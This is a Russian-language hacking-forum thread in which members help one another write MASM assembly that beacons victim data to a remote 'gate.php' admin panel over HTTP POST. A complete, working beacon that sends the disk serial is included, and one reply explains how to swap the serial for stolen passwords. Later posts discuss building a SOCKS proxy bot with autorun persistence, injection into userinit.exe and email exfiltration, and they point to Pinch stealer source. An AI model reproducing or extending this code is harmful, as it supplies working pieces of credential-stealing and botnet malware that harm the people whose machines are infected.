• XSS.stack #1 – первый литературный журнал от юзеров форума

Вопрос про GET/POST

Chococream

Старожил форума
Легенда
Регистрация
31.10.2009
Сообщения
347
Реакции
42
Всем привет!
Данная тема думаю многим будет интересна...
Пишу некое подобие "стукача" на асме.
Суть его работы:
Запускается сокет, по шаблону GET/POST он лезет на скрипт, находящийся на сервере, который в свою очередь записывает его айпи, и т.п :)

Вроде набросал текста, скомпилил, но нет - даже сет. активности нету...
Кому не тяжело - посмотрите, может ошибся где, в нете много искал, но нашёл лишь на си, переписал что-то, получилось то, что вы видите в тэге CODE.
Ах, да и ещё если у кого идеи по этому поводу будут - пишите, буду рад!

Упростим задачу: Требуется например узнать айпишник юзверя(написать функцию - нет проблем), но вопрос как это в сокет воплотить и на сервер отправить, чтобы скрипт принял ?

Вот собственно исходник:
Код:
.386
.model flat, stdcall
option casemap :none

include \masm32\INCLUDE\windows.inc
include \masm32\INCLUDE\kernel32.inc
include	\masm32\INCLUDE\ws2_32.inc
include \masm32\INCLUDE\wsock32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\wsock32.lib

.data?
hSocket  dd  ?
dwTime  dd  ?
sin  sockaddr_in	<>
wsData  WSADATA  <>

.data
; шаблон взял из исходника на фасме, так что могут быть ошибки, хотя у меня
; всё скомпилилось!
PostTemplate db 'POST /my_script.php HTTP/1.0',13,10
             db 'Host: '
HostName     db 'my_server.com',0,13,10
             db 'User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11',13,10
             db 'Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*;q=0.8',13,10
             db 'Accept-Language: en-us',13,10
             db 'Accept-Encoding: gzip,deflate',13,10
             db 'Keep-Alive: 300',13,10
             db 'Connection: Keep-Alive',13,10
.code
            mov eax, HostName
            push eax;это хост
          ; initializing winsock.....
	invoke	WSAStartup, 101h, ADDR wsData
call inet_addr;invoke  inet_addr, eax
	mov  [sin.sin_family], AF_INET
	mov	[sin.sin_port], 80
	mov	[sin.sin_addr], eax
	invoke	socket, PF_INET, SOCK_STREAM, 0
	mov	[hSocket], eax
	push	eax
	invoke	connect, eax, ADDR sin, sizeof sin
	invoke	send, [hSocket], ADDR PostTemplate, sizeof PostTemplate, 0
invoke closesocket, [hSocket]
; ТУТ можно ещё send, заменить на 
; invoke write, [hSocket], ADDR PostTemplate, sizeof PostTemplate
; разницы нету....
	call WSACleanup

П.С. Хайд поставил по собственному желанию, хотите обсудить - велкам в личку!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Для начала все-таки нужно было почитать что-то о сокетах. Ну и про HTTP протокол немного.

Итак
Код:
           mov eax, HostName
           push eax;это хост
        ; initializing winsock.....
invoke WSAStartup, 101h, ADDR wsData
           call inet_addr
Это же ппц. Сразу пиши правильно ато сам же не разберешься потом.
WSAStartup затискивать в середину логической конструкции inet_addr как то не логично. Вот так следовало бы:
Код:
        ; initializing winsock.....
         invoke WSAStartup, 101h, ADDR wsData

         mov eax, HostName
         push eax;это хост
         call inet_addr
Но смотрим мсдн
inet_addr Function
The inet_addr function converts a string containing an (Ipv4) Internet Protocol dotted address into a proper address for the IN_ADDR structure.

Parameters
cp
[in] Null-terminated character string representing a number expressed in the Internet standard "." (dotted) notation.
У тебя в HostName ведь не IP адрес. Для резолва домена нужно использовать gethostbyname.
Но даже если у тебя там был IP то запись все-равно неправильная.
В inet_addr (как и в gethostbyname) нужно передавать адрес на строку а не то что передал ты. Надо так:
Код:
         lea eax, HostName
         push eax;это хост
         call inet_addr
Ну или вобще для IP:
Код:
invoke inet_addr, addr HostName
mov sin.sin_addr, eax
Для домена:
Код:
	invoke gethostbyname, addr HostName
	mov   eax, [eax+0Ch]
	mov   eax, [eax]
	mov   eax, [eax]
	mov sin.sin_addr, eax
Дальше...
Код:
mov [sin.sin_port], 80
Видно что совсем не читал про сокеты. Вот как нужно было
Код:
	invoke  htons, 80
	mov   sin.sin_port, ax
Еще... Когда будет вызвана апи send, то будет послано совсем не то что ты хотел. Ровно до первого нуля в PostTemplate, а он находится после имени домена. Исправить это есть куча спообов. Можно например вынести имя домена в отдельную переменную. И еще, в самом конце чтоб серер понял что заголовки уже посланы нужно всегда слать 2 clrf а не один. И если шлешь пост запрос то должен присутствовать заголовок Content-Lenght. Читай про HTTP протокол.

Вывод: баг на баге багом погоняет.


Вот тебе рабочий пример. Отправляет в админку серийный номер раздела винта методом POST.
Код:
.586
.model flat, stdcall
option casemap :none

	include windows.inc
	include kernel32.inc
	include user32.inc
	include ws2_32.inc

	includelib kernel32.lib
	includelib user32.lib
	includelib ws2_32.lib

.data
	szHostName db "xss.pro/",0
	szHeaders  db "POST http://%s/admin/gate.php HTTP/1.0",13,10
      db "Content-Type: application/x-www-form-urlencoded",13,10
      db "Content-Length: %lu",13,10,13,10
      db "%s",0
	szContents db "hddid=%08X",0

.code
Main proc
	LOCAL Tmp_Buff[512]  : BYTE
	LOCAL Req_Buff[1536] : BYTE
	LOCAL Ans_Buff[6144] : BYTE

	LOCAL HDDID    : DWORD
	LOCAL WSAData  : WSADATA
	LOCAL saServer : sockaddr_in
	LOCAL pSocket  : DWORD
	LOCAL dwLen    : DWORD

; Get HDD ID
	mov     HDDID, 0
	invoke  GetVolumeInformation, 0, 0, 0, addr HDDID, 0, 0, 0, 0

; Init WSA
	invoke  WSAStartup, 101h, addr WSAData
	test    eax, eax
	jnz     die

; Convert if IP
	invoke  inet_addr, addr szHostName
	cmp     eax, INADDR_NONE
	jne     ok

; Resolve if host
	invoke  gethostbyname, addr szHostName
	test    eax, eax
	jz      die

	mov     eax, [eax+0Ch]
	mov     eax, [eax]
	mov     eax, [eax]

ok:
; Fill struct
	mov     saServer.sin_addr, eax
	invoke  htons, 80d
	mov     saServer.sin_port, ax
	mov     saServer.sin_family, AF_INET

; Create socket
	invoke  socket, AF_INET, SOCK_STREAM, 0
	test    eax, eax
	js      die
	mov     pSocket, eax

; Try to connect
	invoke  connect, pSocket, addr saServer, sizeof saServer
	test    eax, eax
	jnz     die

; Build request
	invoke  wsprintf, addr Tmp_Buff, addr szContents, HDDID
	mov     dwLen, eax
	invoke  wsprintf, addr Req_Buff, addr szHeaders, addr szHostName, dwLen, addr Tmp_Buff

; Send request
	invoke  send, pSocket, addr Req_Buff, eax, 0
	test    eax, eax
	js      die
	jz      die

; Get answer
	invoke  recv, pSocket, addr Ans_Buff, 6144, 0
	test    eax, eax 
	js      die
	jz      die
	push    eax

	invoke  closesocket, pSocket

; Just alert with server answer \=
invoke  MessageBox,0, addr Ans_Buff, 0, MB_OK

die:
	invoke  WSACleanup
	invoke  ExitProcess, 0

Main endp
end Main

Есть еще вопросы - спрашивай
 
Код:
 // Шаг 1 - инициализация библиотеки Winsock
    if (WSAStartup(0x202,(WSADATA *)&buff[0]))
    {
      printf("WSAStart error %d\n",WSAGetLastError());
      return -1;
    }

    // Шаг 2 - создание сокета
    SOCKET my_sock;
    my_sock=socket(AF_INET,SOCK_STREAM,0);
    if (my_sock < 0)
    {
      printf("Socket() error %d\n",WSAGetLastError());
      return -1;
    }

    // Шаг 3 - установка соединения

    // заполнение структуры sockaddr_in
    // указание адреса и порта сервера
    sockaddr_in dest_addr;
    dest_addr.sin_family=AF_INET;
    dest_addr.sin_port=htons(PORT);
    HOSTENT *hst;

    // преобразование IP адреса из символьного в
    // сетевой формат
    if (inet_addr(SERVERADDR)!=INADDR_NONE)
      dest_addr.sin_addr.s_addr=inet_addr(SERVERADDR);
    else
      // попытка получить IP адрес по доменному
      // имени сервера
      if (hst=gethostbyname(SERVERADDR))
      // hst->h_addr_list содержит не массив адресов,
      // а массив указателей на адреса
      ((unsigned long *)&dest_addr.sin_addr)[0]=
        ((unsigned long **)hst->h_addr_list)[0][0];
      else 
      {
        printf("Invalid address %s\n",SERVERADDR);
        closesocket(my_sock);
        WSACleanup();
        return -1;
      }

    // адрес сервера получен – пытаемся установить
    // соединение 
    if (connect(my_sock,(sockaddr *)&dest_addr,
                sizeof(dest_addr)))
    {
      printf("Connect error %d\n",WSAGetLastError());
      return -1;
    }

    printf("Соединение с %s успешно установлено\n\
    Type quit for quit\n\n",SERVERADDR);

    // Шаг 4 - чтение и передача сообщений
    int nsize;
    while((nsize=recv(my_sock,&buff[0],
                      sizeof(buff)-1,0))
                  !=SOCKET_ERROR)
    {
      // ставим завершающий ноль в конце строки 
      buff[nsize]=0;

      // выводим на экран 
      printf("S=>C:%s",buff);

      // читаем пользовательский ввод с клавиатуры
      printf("S<=C:"); fgets(&buff[0],sizeof(buff)-1,
             stdin);

      // проверка на "quit"
      if (!strcmp(&buff[0],"quit\n"))
      {
        // Корректный выход
        printf("Exit...");
        closesocket(my_sock);
        WSACleanup();
        return 0;
      }

      // передаем строку клиента серверу
      send(my_sock,&buff[0],nsize,0);
    }

    printf("Recv error %d\n",WSAGetLastError());
    closesocket(my_sock);
    WSACleanup();
    return -1;
  }

делай все по образцу и проблем не должно быть,

invoke socket, PF_INET, SOCK_STREAM, 0 - чо у тебя PF_INET
 
Сорри, что пример багистый, писал сам, компилятор - не ругается...
Внимание говорить, что я о сокетах ничего не читал, не надо, я выкачал весь мсдн для этих целей... но ВСЁ равно за ответ благодарю... глядишь что-нибудь дельное скину :)
А пишу так потому что с СИ переписывал.
 
Есть ещё один вопросик...
Вот мне например серверу надо отправить какую-то инфу, сам скрипт на сервере принимает это дело методом ПОСТ, а инфу впихивать как я понимаю через:

.data
logs db "pass;pass",0h ;для примера

.code
...

invoke send, pSocket, addr logs, eax, 0
; либо БЕЗ ФЛАГОВ
; invoke write, PSocket, addr logs, sizeof logs
test eax, eax ; .......тут всевозможные проверки .........
js die
jz die
.....


? :) Если у меня всё верно, то благодарю вас за примеры.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
HTTP серверу полюбому нужно слать заголовки. А вместе с ними данные.
Код:
szHostName db "xss.pro/",0
szHeaders  db "POST http://%s/admin/gate.php HTTP/1.0",13,10
     db "Content-Type: application/x-www-form-urlencoded",13,10
     db "Content-Length: %lu",13,10,13,10
     db "%s",0
szContents db "hddid=%08X",0

szHostName - это понятно.
szContents - тут шаблон для данных.
szHeaders - тут шаблон для заголовков.

Тут происходит сборка запроса.
Код:
; Build request
invoke  wsprintf, addr Tmp_Buff, addr szContents, HDDID
mov     dwLen, eax
invoke  wsprintf, addr Req_Buff, addr szHeaders, addr szHostName, dwLen, addr Tmp_Buff

invoke wsprintf, addr Tmp_Buff, addr szContents, HDDID
Тут в буфер Tmp_Buff помещается шаблон szContents и %08X заменяется на серийник винта HDDID, который мы определили раньше через API GetVolumeInformation
В буфере после этого находится (например) "hddid=1BC5EA1F"

mov dwLen, eax
API wsprintf возвращает длину получившейся стоки, сохраняем ее.

invoke wsprintf, addr Req_Buff, addr szHeaders, addr szHostName, dwLen, addr Tmp_Buff
А вот тут уже полностью собираем запрос в переменную Req_Buff из шаблона szHeaders
В буфере получается
Код:
POST http://xss.pro/admin/gate.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

hddid=1BC5EA1F
И эти данные уже посылаются серверу.

В szContents можешь внести свой шаблон для данных. И перед отсылкой точно так же собирать запрос.

Тебе возможно подойдет
szContents db "data=%s",0

и тогда если спертые пароли будут находиться в буфере Passwords можешь заменить
invoke wsprintf, addr Tmp_Buff, addr szContents, HDDID
на
invoke wsprintf, addr Tmp_Buff, addr szContents, addr Passwords
 
Всё понятно, хоть итак в msdn заглянул...
Писал я на самом деле socks5 сервер, вот уже вроде готов.
Обещаю на днях выложить билд, как только с автозагрузкой закончу.
Спасибо огромнейшее за разьяснение.
 
Писал я на самом деле socks5 сервер, вот уже вроде готов.
с пинчем идут исходники сокс сервера на масме :)
 
Pernat1y
Скинь ссылку, если не тяжело. Буду благодарен.
Всё, сам нашёл - не надо(Пинч).

Пришлось постараться с функцией отправки, добавил работу с админкой, отправку на имаил(изучил смтп). Автозагрузку(пока лишь простейшее добавление в авторан), планируется инжект в "юсерыныт.ехе".
Админку за 58минут навоял, кое-как оттестировал, дизайн вроде ничего, есть немного Javascript, но только в описании самой админки :)
Если будут ещё какие пожелания - пишите, реализую.
Пока сокс бот ничем не палится(в чистом виде)...
Возможно кому-то интересна данная тема - пишите в личку, обсудим.


П.С. Скачал пинча, выкладывание сокс бота откладывается на 2 дня :)
Постараюсь "удивить" новыми фичами.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот немного лучшая реализация сокса на масме http://hellknights.void.ru/releases/0x48k-...s5anonym100.rar
Нужно только удалить вывод логов в консоль и как минимум добавить обработку ситуации когда домен не смог зарезолвиться (изза этого вылетает иногда)
 
DeusTirael
Вот спс, ибо тема с поиском соксов мне надоела(выложу скоро обзор своего сокс бота :)), этот исходник мне очень помог, пока своего сокс бота выкладывать не буду(есть свои причины). Паблик выйдет чуть позже.

Спустя 2 минуты:
Сделал всё, как сказал DeusTirael, поправил резолв, осталось некоторые фичи добавить и думаю будет готово...

Проблемы с исходниками решил - всё заработало, изучаю пинча...

У кого может идеи есть по сокс боту ? Пишите, я постараюсь реализовать, конечно если идея будет нормальная - поделюсь исходником.
 
Всем привет, запарился копаться, но навоял свой собственный, нормальный пример.(есть куча других, но они работают по библиотеке http, socks5 и что-то ещё, вырезать из неё куски кода, не то, что мазохизм, просто надо самому ведь что-то сделать, НО она меня не устраивает, ибо размер её оставляет желать лучшего).
Сервер выдаёт сообщение с ошибкой(преднамерено в программке), посмотрите где я допустил ошибку... ибо ну никак не лезет в интернет :)
Поставил под хайдом, ибо только для мемберов(собств. желание):
И ещё можно без критики, просто прошу указать ошибку(самому кажется, что надо поправить дело с длиной отправляемого запросика, но не знаю как)
Заранее благодарен.
.386
.model flat, stdcall
option casemap :none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\ws2_32.inc
include \masm32\include\wininet.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\wininet.lib

.data
msgTitle db "Error",0
msgText db "Error",0
;szHostName db "myhost.com",0
PostTemplate db "POST http://www.myhost.com/hello.php HTTP/1.0",13,10
db "Host: "
HostName db "myhost.com",0,13,10
db "User-Agent: Opera/9.25 (Windows NT 5.0; U; en)",13,10
db "Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*;q=0.8",13,10
db "Accept-Language: en-us",13,10
db "Accept-Encoding: gzip,deflate",13,10
db "Keep-Alive: 300",13,10
db "Connection: Keep-Alive",13,10
db "Content-Type: application/x-www-form-urlencoded",13,10
db "Content-Length: 20",13,10,13,10
db "%s",0
Contents db "id="
url db "http://www.ya.ru",0
Template = $- PostTemplate

.data?
saddr sockaddr_in <>

.code
start:
;--------------------------------------------------------------------------------;
; НАЧИНАЕМ РАБОТУ С ФУНКЦИЯМИ....
;--------------------------------------------------------------------------------;
call Checker
;--------------------------------------------------------------------------------;
; Sockconnect
;--------------------------------------------------------------------------------;
Sockconnect proc szHost:DWORD,sendinet:DWORD,szsendinet:DWORD
LOCAL Req_Buff[6000] : BYTE
LOCAL Tmp_Buff[1000] : BYTE
LOCAL wsad : WSADATA
LOCAL pSocket : DWORD
LOCAL HDDID : DWORD

;Init WSA
lea eax,wsad
invoke WSAStartup,101h,eax
test eax,eax
jnz exit

;Convert if IP
invoke inet_addr, addr HostName
cmp eax, INADDR_NONE
jne ok

; Resolve if host
invoke gethostbyname, addr HostName
test eax, eax
jz exit
mov eax, [eax+12]
mov eax, [eax]
mov eax, [eax]
ok:

;Fill struct
mov saddr.sin_addr,eax
invoke ntohs,80
mov saddr.sin_port,ax
mov saddr.sin_family,AF_INET

;Create socket
invoke socket,AF_INET,SOCK_STREAM,6
cmp eax,-1
jz exit
mov pSocket,eax

;Try to connect
invoke connect,pSocket,addr saddr,sizeof sockaddr_in
test eax,eax
jnz exit

;Build request
mov HDDID, offset HostName ;для примера :)
invoke wsprintf, addr Tmp_Buff, addr Contents, HDDID
mov szsendinet, eax
invoke wsprintf, addr Req_Buff, sendinet, addr HostName, szsendinet, addr Tmp_Buff

;Send request
invoke send, pSocket, Req_Buff, szsendinet, 0
test eax,eax
js exit
jz exit
exit:
invoke closesocket,pSocket
invoke WSACleanup
invoke MessageBox,0,addr msgTitle,addr msgText,0
invoke ExitProcess,0
Sockconnect endp
;--------------------------------------------------------------------------------;
; Проверка.......
;--------------------------------------------------------------------------------;
Checker proc
LOCAL OldProtect : DWORD
LOCAL hInt : DWORD
lea esi, offset url
invoke InternetOpen,0,1,0,0,4000000h
mov hInt, eax
@1:
invoke Sleep,1
invoke InternetOpenUrl,hInt,esi,0,0,0,0
test eax,eax
je @1
invoke InternetCloseHandle,hInt
invoke Sockconnect,offset HostName,addr PostTemplate,offset Template
ret
Checker endp
;================================================================================;
end start
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Опять запихнул хостнейм в хедер и втиснул после него нуллбайт
Код:
HostName      db "site.com",0,13,10

И
Код:
PostTemplate         db "POST http://www.myhost.com/hello.php HTTP/1.0",13,10
                    db "Host: "
HostName      db "blabla.com",0,13,10
POST запрашивает www.myhost.com
а хедер Host: blabla.com
нестыковочка какбэ


Я давал уже пример с хедерами
Код:
szHostName db "xss.pro/",0
szHeaders  db "POST http://%s/admin/gate.php HTTP/1.0",13,10
     db "Content-Type: application/x-www-form-urlencoded",13,10
     db "Content-Length: %lu",13,10,13,10
     db "%s",0
szContents db "hddid=%08X",0
Их вполне дрстаточно чтоб послать запрос HTTP серверу
Вот в этом куске кода запрос собирается
Код:
; Build request
invoke  wsprintf, addr Tmp_Buff, addr szContents, HDDID
mov     dwLen, eax
invoke  wsprintf, addr Req_Buff, addr szHeaders, addr szHostName, dwLen, addr Tmp_Buff

Могу прокомментировать подробнее
Код:
; Build request
; тут берем строку с форматом контента ("hddid=%08X")
; и делаем из нее "hddid=0F9D7C5A" (например)
; тоесть в Tmp_Buff помещаем строку szContents
; заменив формат "%08X" на строковое представление дворда
; серийник винта HDDID ("0F9D7C5A")
invoke  wsprintf, addr Tmp_Buff, addr szContents, HDDID

; сохраним длину конента
mov     dwLen, eax

; тут берем формат запроса
; в Req_Buff запишется szHeaders с изменениями
; первый %s заменится на текст szHostName ("xss.pro/")
; %lu заменится на число (длину запроса) dwLen (lu это long unsigned)
; а последний %s заменится на текст Tmp_Buff в котором лежит contents подготовленый чуть ранее
invoke  wsprintf, addr Req_Buff, addr szHeaders, addr szHostName, dwLen, addr Tmp_Buff

У тебя формат хедеров не подготовлен для вставки в него имени хоста и длины посылаемого контента.
Почитай про wsprintf в MSDN
 
Огромное спс, уже из библиотеки выдрал инфу, переварил, прочёл мсдн, понял.
Пример заработал.
DeusTirael
За обьяснение спс.(действительно тогда вечером ступанул... и ещё убери пожалуйста имя домена из своего ответа).

[mod][Ar3s] Если я правильно понял про какой урл ты говорил, то я его убрал. Если где-то пропустил - чиркани в Пм. Поправлю. [/mod]
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх